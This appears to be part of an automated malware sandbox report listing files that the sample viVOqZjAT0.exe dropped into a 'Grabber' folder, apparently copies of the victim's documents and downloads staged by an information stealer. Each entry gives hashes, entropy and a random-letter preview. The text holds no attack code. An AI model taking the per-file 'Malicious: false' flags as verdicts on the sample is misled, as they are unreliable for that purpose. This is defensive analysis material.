Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\XZXHAVGRAG\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

